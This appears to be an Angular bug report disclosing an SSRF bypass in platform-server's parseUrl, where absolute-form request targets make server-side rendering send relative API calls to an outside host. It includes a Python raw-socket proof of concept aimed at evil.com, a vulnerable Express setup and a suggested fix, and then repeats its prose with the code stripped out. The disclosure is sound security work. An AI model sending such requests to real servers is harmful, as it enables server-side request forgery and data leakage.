Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes
Description
The parseUrl function in ServerPlatformLocation (packages/platform-server/src/location.ts) was recently updated to block SSRF via protocol-relative (//evil.com) and backslash (/\evil.com) URLs by checking whether the URL string starts with /. If it does, the server origin is prepended before parsing.
This check does not cover HTTP/1.1 absolute-form request targets.
Per RFC 7230, a client can send a request where the full URL is the request target:
GET http://evil.com/ HTTP/1.1
Host: localhost
When Nginx, AWS ALB, or any standard reverse proxy forwards this to Node.js, Express receives req.url = "http://evil.com/". That string starts with h, not /, so the guard condition urlStr[0] === '/' evaluates to false. The origin is not prepended. new URL("http://evil.com/") parses cleanly and assigns evil.com as ServerPlatformLocation.hostname.
From that point, the SSR HTTP interceptor (relativeUrlsTransformerInterceptorFn in http.ts) treats evil.com as the base for all relative HttpClient requests made during rendering. A call to /api/config inside the Angular component goes out as http://evil.com/api/config — to an external server — silently, server-side, with no error thrown and no CSR fallback triggered.
The commit message for ede7c58a2a itself called out this exact pattern as the typical attack surface:
This vulnerability typically manifests in SSR setups (e.g., Express) where req.url is passed directly to renderApplication or renderModule.
The fix addressed two of the three URL forms that can exploit it. Absolute-form URLs were not handled.
This affects any application using renderApplication or renderModule directly. Applications using CommonEngine or AngularNodeAppEngine from @angular/ssr are not affected at the response level because those wrappers validate the hostname through their own allowedHosts check before calling the lower-level rendering APIs. The bug is in the framework layer below those wrappers.
The steps below can be reproduced on any Angular SSR application using renderApplication directly.
server.ts
import { renderApplication } from '@angular/platform-server';
import express from 'express';
import { readFileSync } from 'node:fs';
import { dirname, join } from 'node:path';
import { fileURLToPath } from 'node:url';
import bootstrap from './main.server';
const server = express();
const serverDistFolder = dirname(fileURLToPath(import.meta.url));
const indexHtmlTemplate = readFileSync(join(serverDistFolder, 'index.server.html'), 'utf-8');
server.get('/{*path}', async (req, res, next) => {
try {
const html = await renderApplication(bootstrap, {
document: indexHtmlTemplate,
url: req.url,
});
res.send(html);
} catch (err: any) {
next(err);
}
});
server.listen(4000);
Build and start the server. Then send the absolute-form request via raw TCP (necessary to bypass browser and fetch URL normalization):
python -c "
import socket
s = socket.socket()
s.connect(('127.0.0.1', 4000))
s.send(b'GET http://evil.com/ HTTP/1.1\r\nHost: localhost\r\nConnection: close\r\n\r\n')
print(s.recv(8192).decode('utf-8', errors='replace'))
"
The server returns a fully server-rendered 200 OK. The terminal shows no error and no CSR fallback. Inside the HTML response, PlatformLocation.hostname resolves to evil.com, and the HttpClient call for /api/config was dispatched to http://evil.com/api/config during the render cycle.
Please provide a link to a minimal reproduction of the bug
No response
Please provide the exception or error you saw
No exception is thrown. No error is logged. The server responds normally with a `200 OK` and the attack completes silently. This is what makes it a security issue rather than a crash — the application gives no indication anything went wrong.
Please provide the environment you discovered this bug in (run ng version)
Angular CLI : 21.2.7
Angular : 21.2.9
Node.js : 25.6.0
Package Manager : pnpm 10.33.0
Operating System : win32 x64
Package Version
--------------------------------------------
@angular/build 21.2.7
@angular/cli 21.2.7
@angular/common 21.2.9
@angular/compiler 21.2.9
@angular/compiler-cli 21.2.9
@angular/core 21.2.9
@angular/forms 21.2.9
@angular/platform-browser 21.2.9
@angular/platform-server 21.2.9
@angular/router 21.2.9
@angular/ssr 21.2.7
rxjs 7.8.2
typescript 5.9.3
---
Anything else?
Root cause — packages/platform-server/src/location.ts, parseUrl function:
function parseUrl(urlStr: string, origin: string): URL {
// The check only guards against strings starting with `/`.
// Absolute-form URLs like "http://evil.com/" start with `h` and pass through unchecked.
const urlToParse = urlStr.length === 0 || urlStr[0] === '/' ? origin + urlStr : urlStr;
return new URL(urlToParse);
}
Suggested fix — validate the parsed hostname against the origin before returning:
function parseUrl(urlStr: string, origin: string): URL {
const urlToParse = urlStr.length === 0 || urlStr[0] === '/' ? origin + urlStr : urlStr;
const parsed = new URL(urlToParse);
if (parsed.hostname !== new URL(origin).hostname) {
throw new Error(
`ng-platform-server: Blocked a request with a mismatched hostname. ` +
`Expected "${new URL(origin).hostname}", got "${parsed.hostname}". ` +
`This indicates an SSRF attempt via an absolute-form request URL.`
);
}
return parsed;
}
In a normal SSR setup, the parsed hostname will always match the server origin. This change adds no cost to the happy path and closes the remaining gap left by ede7c58a2a.
Which @angular/* package(s) are the source of the bug?
platform-server
Is this a regression?
Yes
Description
The
parseUrlfunction inServerPlatformLocation(packages/platform-server/src/location.ts) was recently updated to block SSRF via protocol-relative (//evil.com) and backslash (/\evil.com) URLs by checking whether the URL string starts with/. If it does, the server origin is prepended before parsing.This check does not cover HTTP/1.1 absolute-form request targets.
Per RFC 7230, a client can send a request where the full URL is the request target:
When Nginx, AWS ALB, or any standard reverse proxy forwards this to Node.js, Express receives
req.url = "http://evil.com/". That string starts withh, not/, so the guard conditionurlStr[0] === '/'evaluates to false. The origin is not prepended.new URL("http://evil.com/")parses cleanly and assignsevil.comasServerPlatformLocation.hostname.From that point, the SSR HTTP interceptor (
relativeUrlsTransformerInterceptorFninhttp.ts) treatsevil.comas the base for all relativeHttpClientrequests made during rendering. A call to/api/configinside the Angular component goes out ashttp://evil.com/api/config— to an external server — silently, server-side, with no error thrown and no CSR fallback triggered.The commit message for
ede7c58a2aitself called out this exact pattern as the typical attack surface:The fix addressed two of the three URL forms that can exploit it. Absolute-form URLs were not handled.
This affects any application using
renderApplicationorrenderModuledirectly. Applications usingCommonEngineorAngularNodeAppEnginefrom@angular/ssrare not affected at the response level because those wrappers validate the hostname through their ownallowedHostscheck before calling the lower-level rendering APIs. The bug is in the framework layer below those wrappers.The steps below can be reproduced on any Angular SSR application using
renderApplicationdirectly.server.tsBuild and start the server. Then send the absolute-form request via raw TCP (necessary to bypass browser and fetch URL normalization):
The server returns a fully server-rendered
200 OK. The terminal shows no error and no CSR fallback. Inside the HTML response,PlatformLocation.hostnameresolves toevil.com, and theHttpClientcall for/api/configwas dispatched tohttp://evil.com/api/configduring the render cycle.Please provide a link to a minimal reproduction of the bug
No response
Please provide the exception or error you saw
Please provide the environment you discovered this bug in (run
ng version)Anything else?
Root cause —
packages/platform-server/src/location.ts,parseUrlfunction:Suggested fix — validate the parsed hostname against the origin before returning:
In a normal SSR setup, the parsed hostname will always match the server origin. This change adds no cost to the happy path and closes the remaining gap left by
ede7c58a2a.